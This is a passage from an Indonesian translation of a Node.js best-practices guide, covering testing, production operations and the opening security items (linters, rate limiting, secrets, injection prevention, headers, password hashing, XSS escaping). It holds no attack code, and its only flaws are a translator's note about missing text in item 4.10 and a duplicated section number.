audit](https://docs.npmjs.com/cli/audit) dan 🔗 [snyk.io](https://snyk.io) yang dapat dipanggil dari CI Anda pada setiap _build_\n\n**Jika tidak:** Menjaga kode Anda bersih dari kerentanan tanpa alat khusus mengharuskan Anda untuk mengikuti publikasi online tentang ancaman baru. Cukup membosankan\n\n<br/><br/>\n\n## ![✔] 4.7 Tandai pengujian Anda\n\n**TL;DR:** Pengujian yang berbeda harus dijalankan pada skenario yang berbeda: _quick smoke_, _IO-less_, pengujian harus dijalankan ketika pengembang menyimpan atau melakukan _commit_ pada file, pengujian _end-to-end_ biasanya dijalankan saat _pull request_ baru dikirimkan, dst. Hal ini dapat dicapai dengan menandai pengujian dengan kata kunci seperti _#cold #api #sanity_ sehingga Anda dapat melakukan `grep` pada pengujian Anda dan menjalankan subset yang diinginkan. Contohnya, ini adalah cara untuk memanggil pengujian pada kelompok _sanity_ dengan [Mocha](https://mochajs.org/): mocha --grep 'sanity'\n\n**Jika tidak:** Menjalankan semua pengujian, termasuk pengujian yang menjalankan banyak kueri DB, setiap kali pengembang membuat perubahan kecil bisa sangat lambat dan menjauhkan pengembang dari menjalankan pengujian\n\n<br/><br/>\n\n## ![✔] 4.8 Periksa cakupan pengujian Anda, ini membantu untuk mengidentifikasikan pola pengujian yang salah\n\n**TL;DR:** Alat cakupan kode seperti [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) sangat bagus karena 3 alasan: gratis (sangat mudah untuk memanfaatkan laporan ini), alat ini membantu mengidentifikasikan pengurangan cakupan pengujian, dan yang terakhir, alat ini menyoroti ketidakcocokan pengujian: dengan melihat kode warna pada laporan cakupan Anda dapat melihat, misalnya, area kode yang tidak pernah diuji seperti klausa _catch_ (artinya pengujian hanya mengambil jalur yang benar dan bukan bagaimana aplikasi akan berperilaku jika ada kesalahan). Setel agar _build_-nya gagal jika cakupannya berada di bawah batas tertentu\n\n**Jika tidak:** Tidak akan ada metrik otomatis yang memberi tahu Anda saat sebagian besar kode Anda tidak tercakup dalam pengujian\n\n<br/><br/>\n\n## ![✔] 4.9 Periksa paket yang kedaluwarsa\n\n**TL;DR:** Gunakan alat pilihan Anda (misalnya 'npm outdated' atau [npm-check-updates](https://www.npmjs.com/package/npm-check-updates) untuk mendeteksi paket yang kedaluwarsa, masukkan pemeriksaan ini ke _pipeline CI_ dan bahkan gagalkan _build_-nya dalam skenario yang buruk. Contohnya, skenario yang buruk mungkin terjadi ketika paket yang digunakan tertinggal 5 _patch commit_ (misalnya versi lokal adalah 1.3.1 dan versi repositori adalah 1.3.8) atau paketnya ditandai _deprecated_ oleh pembuatnya - matikan _build_-nya dan cegah _deployment_ pada versi ini\n\n**Jika tidak:** Produksi Anda akan menggunakan paket yang ditandai berisiko oleh pembuatnya secara eksplisit\n\n<br/><br/>\n\n## ![✔] 4.10 Gunakan lingkungan yang mirip dengan produksi untuk pengujian e2e\n\n**TL;DR:** Pengujian _End to end_ (e2e) yang mencakup data asli dulunya merupakan titik terlemah pada proses CI karena pengujian itu bergantung pada beberapa layanan berat seperti DB. Gunakan lingkungan yang semirip mungkin dengan lingkungan pada produksi Anda seperti a-seterusnya (-seterusnya hilang, konten dibutuhkan. Dilihat dari klausa **Jika tidak**, hal ini seharusnya menyebutkan tentang docker-compose)\n\n**Jika tidak:** Tanpa docker-compose, tim harus mengurus DB pengujian untuk setiap lingkungan pengujian termasuk mesin yang dimiliki oleh pengembang, pastikan semua DB tersebut tetap sinkron sehingga hasil pengujian tidak akan berbeda di lingkungan yang berbeda\n\n<br/><br/>\n\n## ![✔] 4.11 Sering lakukan refactor menggunakan alat analisis statis\n\n**TL;DR:** Menggunakan alat analisis statis membantu dengan memberikan cara yang obyektif untuk meningkatkan kualitas kode dan tetap menjaga kode Anda. Anda dapat menambahkan alat analisis statis ke _build_ CI untuk menggagalkan _build_-nya jika alat itu menemukan kode yang jelek. Nilai jual utamanya dibandingkan dengan _linting_ biasa adalah kemampuan untuk memeriksa kualitas dalam konteks beberapa file (contohnya mendeteksi duplikasi), melakukan analisis lanjutan (contohnya kompleksitas kode), dan mengikuti riwayat dan perkembangan masalah kode. Dua contoh alat yang dapat Anda gunakan adalah [Sonarqube](https://www.sonarqube.org/) (2,600+ [bintang](https://github.com/SonarSource/sonarqube)) dan [Code Climate](https://codeclimate.com/) (1,500+ [bintang](https://github.com/codeclimate/codeclimate)).\n\n**Jika tidak:** Dengan kualitas kode yang buruk, _bug_ dan performa selalu akan selalu menjadi masalah yang tidak dapat diperbaiki oleh pustaka baru atau fitur-fitur canggih\n\n🔗 [**Baca selengkapnya: Refactoring!**](./sections/testingandquality/refactoring.md)\n\n<br/><br/>\n\n## ![✔] 4.12 Pilih platform CI Anda dengan hati-hati (Jenkins vs CircleCI vs Travis vs yang lainnya)\n\n**TL;DR:** Platform _continuous integration_ (CICD) Anda akan mempunyai semua alat berkualitas (seperti test, lint) sehingga seharusnya dilengkapi dengan ekosistem plugin yang dinamis. [Jenkins](https://jenkins.io/) dulunya merupakan aplikasi default untuk banyak proyek karena mempunyai komunitas terbesar bersama dengan platform yang sangat kuat dengan kekurangan persiapan yang rumit yang menuntut kurva pembelajaran yang tajam. Saat ini, persiapan solusi CI jauh lebih mudah menggunakan alat SaaS seperti [CircleCI](https://circleci.com) dan lainnya. Alat ini memungkinkan pembuatan pipeline CI yang fleksibel tanpa beban untuk mengelola seluruh infrastruktur. Pada akhirnya, ini merupakan keseimbangan antara kecepatan dan kekuatan - pilih dengan hati-hati\n\n**Jika tidak:** Memilih vendor khusus mungkin akan membatasi Anda ketika Anda membutuhkan penyesuaian tingkat lanjut. Di sisi lain, menggunakan Jenkins dapat menghabiskan waktu berharga dalam penyiapan infrastruktur\n\n🔗 [**Baca selengkapnya: Choosing CI platform**](./sections/testingandquality/citools.md)\n\n## ![✔] 4.13 Uji middleware Anda secara terpisah\n\n**TL;DR:** Ketika middleware mempunyai beberapa logika besar yang mencakup banyak permintaan, ada baiknya untuk mengujinya secara terpisah tanpa membangun seluruh framework web. Hal ini dapat dicapai dengan mudah dengan melakukan _stubbing_ dan _spying_ pada objek {req, res, next}\n\n**Otherwise:** Sebuah _bug_ di middleware Express === sebuah bug di semua atau banyak _request_\n\n🔗 [**Baca selengkapnya: Test middlewares in isolation**](./sections/testingandquality/test-middlewares.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `5. Praktik Dalam Produksi`\n\n## ![✔] 5.1. Pemantauan\n\n**TL;DR:** Pemantauan adalah permainan mencari suatu masalah sebelum pelanggan menemukannya terlebih dahulu – yang jelas masalah itu merupakan masalah yang belum pernah terjadi sebelumnya. Pasar kewalahan dengan penawaran sehingga mempertimbangkan untuk memulai dengan menentukan metrik dasar yang harus Anda ikuti (saran saya di dalam), kemudian pertimbangkan fitur-fitur mewah tambahan dan pilih solusi yang mencentang semua kotak. Klik ‘Intinya’ di bawah untuk ringkasan dari berbagai solusi\n\n**Jika tidak:** Kegagalan === pelanggan kecewa. Sederhana\n\n🔗 [**Baca selengkapnya: Monitoring!**](./sections/production/monitoring.md)\n\n<br/><br/>\n\n## ![✔] 5.2. Tingkatkan transparansi dengan menggunakan logging yang cerdas\n\n**TL;DR:** _Log_ dapat menjadi gudang statement debug yang bodoh atau papan cantik yang menceritakan kisah aplikasi Anda. Rencanakan platform logging Anda dari hari pertama: bagaimana log dikumpulkan, disimpan dan dianalisis untuk memastikan bahwa informasi yang diinginkan (misalnya tingkat kesalahan, mengikuti seluruh transaksi melalui layanan dan server, dst.) benar-benar dapat diekstrak\n\n**Jika tidak:** Anda berakhir dengan kotak hitam yang sulit dimengerti, kemudian Anda mulai menulis ulang semua statement log untuk menambahkan informasi tambahan\n\n🔗 [**Baca selengkapnya: Increase transparency using smart logging**](./sections/production/smartlogging.md)\n\n<br/><br/>\n\n## ![✔] 5.3. Delegasikan apa pun yang mungkin (misalnya gzip, SSL) ke sebuah _reverse proxy_\n\n**TL;DR:** Node sangat buruk dalam melakukan pekerjaan yang intensif CPU seperti melakukan gzip, penghentian SSL, dll. Anda harus menggunakan layanan middleware yang ‘asli’ seperti nginx, HAproxy atau layanan vendor cloud\n\n**Jika tidak:** Thread utama Anda akan tetap sibuk melakukan tugas infrastruktur alih-alih menangani inti aplikasi Anda dan performa akan menurun karenanya\n\n🔗 [**Baca selengkapnya: Delegate anything possible (e.g. gzip, SSL) to a reverse proxy**](./sections/production/delegatetoproxy.md)\n\n<br/><br/>\n\n## ![✔] 5.4. Kunci dependensi\n\n**TL;DR:** Kode Anda harus identik di semua lingkungan, namun npm dapat membiarkan dependensi berubah di lingkungan yang berbeda – saat Anda menginstal paket di lingkungan lain npm mencoba menginstal versi terbaru dari paket tersebut. Atasi ini dengan menggunakan file konfigurasi , .npmrc, yang memberi tahu setiap lingkungan untuk menyimpan versi yang tepat (bukan yang terbaru) dari setiap paket. Alternatifnya, untuk kontrol yang lebih baik, gunakan `npm shrinkwrap`. \\*Pembaruan: pada NPM5, dependensi dikunci secara default. Manajer paket yang baru, Yarn, juga melakukan hal ini\n\n**Jika tidak:** QA akan menguji kode secara menyeluruh dan menyetujui versi yang kemudian akan berperilaku berbeda dalam produksi. Lebih buruk lagi, server yang berbeda dalam kelompok produksi mungkin menjalankan kode yang berbeda\n\n🔗 [**Baca selengkapnya: Lock dependencies**](./sections/production/lockdependencies.md)\n\n<br/><br/>\n\n## ![✔] 5.5. Jaga uptime proses menggunakan alat yang tepat\n\n**TL;DR:** Proses harus tetap berjalan dan dimulai ulang jika terjadi kegagalan. Untuk skenario simpel, alat manajemen proses seperti PM2 mungkin sudah cukup namun di era ‘dockerized’, alat management cluster juga harus dipertimbangkan\n\n**Jika tidak:** Menjalankan banyak instansi tanpa strategi yang jelas dan terlalu banyak alat (manajemen cluster, docker, PM2) dapat menyebabkan kekacauan DevOps\n\n🔗 [**Baca selengkapnya: Guard process uptime using the right tool**](./sections/production/guardprocess.md)\n\n<br/><br/>\n\n## ![✔] 5.6. Manfaatkan semua core CPU\n\n**TL;DR:** Pada dasarnya, aplikasi Node berjalan pada satu core CPU sementara core lainnya tidak digunakan. Ini merupakan tugas Anda untuk mereplika proses Node dan menggunakan semua CPU – Untuk aplikasi kecil-menengah Anda dapat menggunakan Node Cluster atau PM2. Untuk aplikasi yang lebih besar pertimbangkan untuk mereplika proses menggunakan beberapa Docker cluster (misalnya K8S, ECS) atau skrip _deployment_ yang didasarkan pada sistem Linux init (misalnya systemd)\n\n**Jika tidak:** Aplikasi Anda kemungkinan hanya menggunakan 25% dari sumber daya yang tersedia(!) atau bahkan kurang. Ingat bahwa server tipikal memiliki 4 core CPU atau lebih, _deployment_ Node.js yang naif hanya menggunakan 1 (bahkan jika menggunakan layanan PaaS seperti AWS beanstalk!)\n\n🔗 [**Baca selengkapnya: Utilize all CPU cores**](./sections/production/utilizecpu.md)\n\n<br/><br/>\n\n## ![✔] 5.7. Buat ‘endpoint pemeliharaan’\n\n**TL;DR:** Sediakan sekumpulan informasi terkait sistem, seperti penggunaan memori dan REPL, dll. dalam API yang aman. Meskipun sangat disarankan untuk mengandalkan alat standar dan battle-test, beberapa informasi penting dan operasi lebih mudah dilakukan melalui kode\n\n**Jika tidak:** Anda akan melakukan banyak “deploy diagnostik” – mendeploy kode ke produksi hanya untuk mengekstrak beberapa informasi untuk keperluan diagnostik\n\n🔗 [**Baca selengkapnya: Create a ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.md)\n\n<br/><br/>\n\n## ![✔] 5.8. Temukan kesalahan dan downtime menggunakan produk APM\n\n**TL;DR:** _Application monitoring and performance products_ (a.k.a APM) secara proaktif mengukur basis kode dan API sehingga mereka dapat secara otomatis melampaui pemantauan tradisional dan mengukur pengalaman pengguna secara keseluruhan di semua layanan dan tingkatan. Misalnya, beberapa produk APM dapat menyoroti transaksi yang terlalu lambat di sisi pengguna sambil menyarankan penyebab utamanya\n\n**Jika tidak:** Anda mungkin menghabiskan banyak tenaga untuk mengukur kinerja dan downtime API, mungkin Anda tidak akan pernah tau bagian kode mana yang paling lambat dalam skenario dunia nyata dan bagaimana hal ini dapat memengaruhi pengalaman pengguna\n\n🔗 [**Baca selengkapnya: Discover errors and downtime using APM products**](./sections/production/apmproducts.md)\n\n<br/><br/>\n\n## ![✔] 5.9. Buat kode Anda siap produksi\n\n**TL;DR:** Buat kode dengan tujuan akhir ada dalam pikiran Anda, rencanakan untuk produksi dari hari pertama. Ini terdengar kurang jelas jadi saya telah mengumpulkan beberapa tips pengembangan yang berkaitan erat dengan perawatan produksi (klik intinya di bawah)\n\n**Jika tidak:** Seorang juara dunia IT/DevOps tidak akan memperbaiki sistem yang ditulis dengan buruk\n\n🔗 [**Baca selengkapnya: Make your code production-ready**](./sections/production/productioncode.md)\n\n<br/><br/>\n\n## ![✔] 5.10. Ukur dan jaga penggunaan memori\n\n**TL;DR:** Node.js memiliki hubungan yang kontroversial dengan memori: mesin v8 memiliki batas memori yang rendah (1.4GB) dan terdapat cara yang diketahui untuk terjadinya kebocoran memori dalam kode Node – sehingga mengamati memori proses Node adalah suatu keharusan. Pada aplikasi kecil, Anda dapat mengukur memori Anda secara berkala menggunakan perintah _shell_ namun di aplikasi menengah-besar pertimbangkan untuk membuat sistem pemantauan yang kuat untuk mengamati memori\n\n**Jika tidak:** Memori proses Anda mungkin bocor ratusan megabyte sehari seperti yang terjadi pada [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak)\n\n🔗 [**Baca selengkapnya: Measure and guard the memory usage**](./sections/production/measurememory.md)\n\n<br/><br/>\n\n## ![✔] 5.11. Keluarkan aset _frontend_ Anda dari Node\n\n**TL;DR:** Sajikan konten _frontend_ menggunakan middleware khusus (nginx, S3, CDN) karena performa Node dapat berkurang ketika menangani banyak file statis karena model thread tunggalnya\n\n**Jika tidak:** Thread tunggal Node Anda akan sibuk mengirimkan ratusan file html/gambar/angular/react alih-alih mengalokasikan semua sumber dayanya untuk tugas yang seharusnya – menyajikan konten dinamis\n\n🔗 [**Baca selengkapnya: Get your frontend assets out of Node**](./sections/production/frontendout.md)\n\n<br/><br/>\n\n## ![✔] 5.12. Buat aplikasi yang stateless, matikan server Anda hampir setiap hari\n\n**TL;DR:** Simpan semua jenis data (misalnya sesi pengguna, cache, file yang diunggah) ke tempat penyimpanan eksternal. Pertimbangkan untuk ‘mematikan’ server Anda secara berkala atau gunakan platform ‘serverless’ (misalnya AWS Lambda) yang secara eksplisit mengharuskan sifat stateless\n\n**Jika tidak:** Kegagalan di server tertentu akan mengakibatkan downtime aplikasi, bukannya hanya mematikan mesin yang rusak. Selain itu, elastisitas penskalaan akan menjadi lebih sulit karena ketergantungan pada server tertentu\n\n🔗 [**Baca selengkapnya: Be stateless, kill your Servers almost every day**](./sections/production/bestateless.md)\n\n<br/><br/>\n\n## ![✔] 5.13. Gunakan alat yang pendeteksi kerentanan secara otomatis\n\n**TL;DR:** Bahkan dependensi yang paling terkemuka seperti Express memiliki kerentanan yang diketahui (dari waktu ke waktu) yang dapat membahayakan sistem. Hal ini dapat dimitigasi dengan mudah menggunakan alat dari komunitas atau komersial yang terus-menerus memeriksa kerentanan dan memberi peringatan (secara lokal atau di GitHub), beberapa bahkan dapat langsung memperbaikinya\n\n**Jika tidak:** Menjaga kode Anda bersih dari kerentanan tanpa alat khusus mengharuskan Anda untuk mengikuti publikasi online tentang ancaman baru. Cukup membosankan\n\n🔗 [**Baca selengkapnya: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.md)\n\n<br/><br/>\n\n## ![✔] 5.14. Tetapkan id transaksi di seetiap statement catatan\n\n**TL;DR:** Tetapkan pengenal yang sama, transaksi-id: {sebuah nilai}, ke setiap entri catatan dalam satu permintaan. Kemudian saat memeriksa kesalahan di dalam catatan, simpulkan dengan mudah apa yang terjadi sebelum dan sesudahnya. Sayangnya, hal ini tidak mudah untuk dicapai di Node karena sifat asinkron-nya, lihat contoh kode di dalam\n\n**Jika tidak:** Melihat catatan kesalahan produksi tanpa konteks – apa yang terjadi sebelumnya – membuat Anda lebih sulit untuk memahami penyebab kesalahannya\n\n🔗 [**Baca selengkapnya: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Atur NODE_ENV=production\n\n**TL;DR:** Atur variabel lingkungan NODE_ENV ke ‘production’ or ‘development’ untuk menandai apakah pengoptimalan produksi harus diaktifkan – banyak paket npm melihat lingkungan yang digunakan dan mengoptimalkan kodenya untuk produksi\n\n**Jika tidak:** Mengabaikan properti sederhana ini dapat menurunkan performa. Contohnya, pada saat menggunakan Express untuk rendering sisi server menghilangkan `NODE_ENV` membuat proses render lebih lambat hingga 3 kali lipat!\n\n🔗 [**Baca selengkapnya: Set NODE_ENV=production**](./sections/production/setnodeenv.md)\n\n<br/><br/>\n\n## ![✔] 5.16. Rancang deployment otomatis, atomic dan tanpa downtime\n\n**TL;DR:** Penelitian menunjukkan bahwa tim yang melakukan banyak deployment menurunkan kemungkinan masalah produksi yang buruk. Deployment yang otomatis dan cepat tidak memerlukan langkah manual yang berisiko dan waktu downtime layanan meningkatkan proses deployment. Anda mungkin harus melakukan ini menggunakan Docker yang dikombinasikan dengan alat CI karena mereka menjadi standar industri untuk deployment yang efisien\n\n**Jika tidak:** Deployment yang lama -> downtime produksi & kesalahan oleh manusia -> tim ragu dalam melakukan deployment -> lebih sedikit deployment dan fitur\n\n<br/><br/>\n\n## ![✔] 5.17. Gunakan versi LTS pada Node.js\n\n**TL;DR:** Pastikan Anda menggunakan versi LTS pada Node.js untuk menerima perbaikan bug yang kritis, pembaruan keamanan dan peningkatan performa\n\n**Otherwise:** Bug atau kerentanan yang baru ditemukan dapat digunakan untuk mengeksploitasi aplikasi yang sedang berjalan dalam produksi, dan aplikasi Anda mungkin menjadi tidak didukung oleh berbagai modul dan lebih sulit untuk di dipelihara\n\n🔗 [**Baca selengkapnya: Use an LTS release of Node.js**](./sections/production/LTSrelease.md)\n\n<br/><br/>\n\n## ![✔] 5.18. Jangan rutekan catatan di dalam aplikasi\n\n**TL;DR:** Tempat catatan tidak boleh dibuat oleh pengembang dalam kode aplikasi, tetapi harus ditentukan oleh lingkungan eksekusi dimana aplikasi itu dijalankan. Pengembang harus menuliskan catatan ke `stdout` menggunakan utilitas logger dan membiarkan lingkungan eksekusi (container, server, dll.) menyalurkan `stdout` ke tujuan yang sesuai (misalnya Splunk, Graylog, ElasticSearch, dll.).\n\n**Jika tidak:** Aplikasi menangani rute catatan === sulit untuk dikembangkan, kehilangan catatan, dan _separation of concerns_ yang buruk\n\n🔗 [**Baca selengkapnya: Log Routing**](./sections/production/logrouting.md)\n\n<br/><br/>\n\n## ![✔] 5.19. Install paket menggunakan `npm ci`\n\n**TL;DR:** Anda harus memastikan bahwa kode produksi menggunakan versi paket yang sama dengan yang Anda gunakan pada saat pengujian. Jalankan `npm ci` untuk melakukan instalasi bersih dari dependensi di dalam package.json dan package-lock.json. Penggunaan perintah ini sangat direkomendasikan dalam lingkungan otomatis seperti pipeline continuous integration.\n\n**Jika tidak:** QA akan menguji kode secara menyeluruh dan menyetujui versi yang kemudian akan berperilaku berbeda dalam produksi. Lebih buruk lagi, server yang berbeda dalam kelompok produksi mungkin menjalankan kode yang berbeda.\n\n🔗 [**Baca selengkapnya: Use npm ci**](./sections/production/installpackageswithnpmci.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `6. Praktik Terbaik Keamanan`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. Terapkan aturan keamanan linter\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Manfaatkan plugin linter yang berhubungan dengan keamanan seperti [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) untuk menangkap kerentanan dan masalah keamanan sedini mungkin, lebih baik lagi jika dalam proses pembuatan kode. Hal ini dapat membantu menangkap keamanan yang lemah seperti penggunaan eval, menjalankan child process atau memanggil modul menggunakan literal string (misalnya masukan pengguna). Klik 'Baca selengkapnya' di bawah ini untuk melihat contoh kode yang akan dideteksi oleh linter keamanan\n\n**Jika tidak:** Kelemahan keamanan yang jelas selama masa pengembangan malah menjadi masalah besar dalam produksi. Selain itu, proyek mungkin tidak mengikuti praktik kode keamanan yang konsisten, yang mengarah ke kerentanan baru, atau rahasia sensitif yang ter-_commit_ ke dalam repositori remote\n\n🔗 [**Baca selengkapnya: Lint rules**](./sections/security/lintrules.md)\n\n<br/><br/>\n\n## ![✔] 6.2. Batasi request serentak dengan menggunakan middleware\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Serangan DOS sangat populer dan relatif mudah untuk dilakukan. Terapkan pembatasan rate menggunakan layanan eksternal seperti _cloud load balancers_, _cloud firewalls_, nginx, paket [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible), atau (untuk aplikasi yang lebih kecil dan kurang penting) sebuah middleware _rate-limiting_ (misalnya [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\n\n**Jika tidak:** Aplikasi dapat terkena serangan _denial of service_ sementara pengguna asli menggunakan layanan yang terdegradasi atau tidak tersedia.\n\n🔗 [**Baca selengkapnya: Implement rate limiting**](./sections/security/limitrequests.md)\n\n<br/><br/>\n\n## ![✔] 6.3 Keluarkan rahasia dari file konfigurasi atau gunakan paket untuk mengenkripsinya\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Jangan pernah menyimpan rahasia dalam bentuk teks biasa dalam file konfigurasi atau kode sumber. Sebagai gantinya, gunakan sistem manajemen rahasia seperti produk _Vault_, _Kubernetes/Docker Secrets_, atau gunakan variabel lingkungan. Sebagai cara terakhir, rahasia yang disimpan di kontrol kode harus terenkripsi dan teratur (kunci bergulir, kedaluwarsa, audit, dll.). Manfaatkan hook pra-_commit_/_push_ untuk mencegah agar rahasia tidak ter-_commit_ secara tidak sengaja\n\n**Jika tidak:** Kontrol sumber, bahkan untuk repositori pribadi, dapat di buat publik secara tidak sengaja, di mana semua rahasia dapat terungkap. Akses kontrol sumber dari pihak eksternal dapat memberikan akses ke sistem terkait (database, api, layanan, dll.) secara tidak sengaja.\n\n🔗 [**Baca selengkapnya: Secret management**](./sections/security/secretmanagement.md)\n\n<br/><br/>\n\n## ![✔] 6.4. Cegah injeksi kueri dengan menggunakan pustaka ORM/ODM\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Untuk mencegah injeksi SQL/NoSQL dan serangan buruk lainnya, selalu gunakan ORM/ODM atau pustaka database yang melakukan _escape_ pada data atau mendukung kueri berparameter yang bernama atau diindeks, dan tangani validasi masukan pengguna agar sesuai dengan tipe yang diharapkan. Jangan pernah hanya menggunakan template string JavaScript atau penggabungan string untuk memasukkan nilai ke dalam kueri karena ini membuka aplikasi Anda ke spektrum kerentanan yang luas. Semua pustaka akses data pada Node.js (misalnya [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) memiliki perlindungan bawaan untuk menghindari serangan injeksi.\n\n**Jika tidak:** Masukan pengguna yang tidak divalidasi atau tidak disanitasi dapat menyebabkan injeksi operator saat menggunakan MongoDB untuk NoSQL, dan dengan tidak menggunakan sistem sanitasi atau ORM dapat memungkinkan serangan injeksi SQL, membuat suatu kerentanan yang besar.\n\n🔗 [**Baca selengkapnya: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.md)\n\n<br/><br/>\n\n## ![✔] 6.5. Kumpulan praktik terbaik keamanan umum\n\n**TL;DR:** Ini adalah kumpulan saran keamanan yang tidak berhubungan langsung dengan Node.js - implementasi pada Node tidak jauh berbeda dengan implementasi pada bahasa lain. Klik 'Baca selengkapnya' untuk membaca sekilas.\n\n🔗 [**Baca selengkapnya: Common security best practices**](./sections/security/commonsecuritybestpractices.md)\n\n<br/><br/>\n\n## ![✔] 6.6. Sesuaikan header response HTTP untuk meningkatkan keamanan\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Aplikasi Anda harus menggunakan _header_ yang aman untuk mencegah penyerang dari serangan umum seperti _cross-site scripting_ (XSS), _clickjacking_ dan serangan berbahaya lainnya. Hal ini dapat dikonfigurasikan dengan mudah menggunakan modul seperti [helmet](https://www.npmjs.com/package/helmet).\n\n**Jika tidak:** Penyerang dapat melakukan serangan langsung pada pengguna aplikasi, yang menyebabkan kerentanan keamanan yang sangat besar\n\n🔗 [**Baca selengkapnya: Using secure headers in your application**](./sections/security/secureheaders.md)\n\n<br/><br/>\n\n## ![✔] 6.7. Selalu periksa dependensi dari kerentanan secara otomatis\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Known%20Vulnerabilities%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Dengan ekosistem npm, sangat umum pada suatu proyek untuk memiliki banyak dependensi. Dependensi harus selalu diperiksa ketika kerentanan baru ditemukan. Gunakan alat seperti [npm audit](https://docs.npmjs.com/cli/audit) atau [snyk](https://snyk.io/) untuk melacak, memantau dan memperbaiki dependensi yang rentan. Integrasikan alat-alat ini dengan setup CI Anda sehingga Anda dapat menemukan dependensi yang rentan sebelum masuk ke produksi.\n\n**Jika tidak:** Penyerang dapat mendeteksi framework web Anda dan menyerang semua kerentanan yang diketahui.\n\n🔗 [**Baca selengkapnya: Dependency security**](./sections/security/dependencysecurity.md)\n\n<br/><br/>\n\n## ![✔] 6.8. Lindungi kata sandi/rahasia pengguna menggunakan bcrypt atau scrypt\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A2-Broken_Authentication\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A9:Broken%20Authentication%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Kata sandi atau rahasia (seperti API keys) harus disimpan menggunakan fungsi hash + salt yang aman seperti `bcrypt`,`scrypt`, atau setidaknya `pbkdf2`.\n\n**Jika tidak:** Kata sandi dan rahasia yang disimpan tanpa fungsi yang aman akan rentan terhadap _brute force_ dan penyerangan kamus yang pada akhirnya akan mengarah pada data rahasia yang terekspos.\n\n🔗 [**Baca selengkapnya: User Passwords**](./sections/security/userpasswords.md)\n\n<br/><br/>\n\n## ![✔] 6.9. Escape keluaran HTML, JS dan CSS\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7:XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Data yang tidak terpercaya yang dikirim ke browser mungkin akan tereksekusi alih-alih hanya ditampilkan, hal ini biasanya disebut dengan serangan _cross-site-scripting_ (XSS). Hindari hal ini dengan menggunakan pustaka khusus yang secara eksplisit menandai data sebagai konten yang tidak boleh dieksekusi (misalnya encoding, escaping)\n\n**Jika tidak:** Penyerang mungkin menyimpan kode JavaScript yang berbahaya di DB Anda yang kemudian akan dikirim apa adanya ke pengguna\n\n🔗 [**Baca selengkapnya: Escape output**](./sections/security/escape-output.md)\n\n<br/><br/>\n\n## ![✔] 6.10. Validasi skema JSON yang diterima\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A7: XSS%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A8:Insecured%20Deserialization%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** Validasi muatan _body_ pada request dan pastikan agar muatan memenuhi ekspektasi, gagalkan dengan cepat jika muatan tidak memenuhi 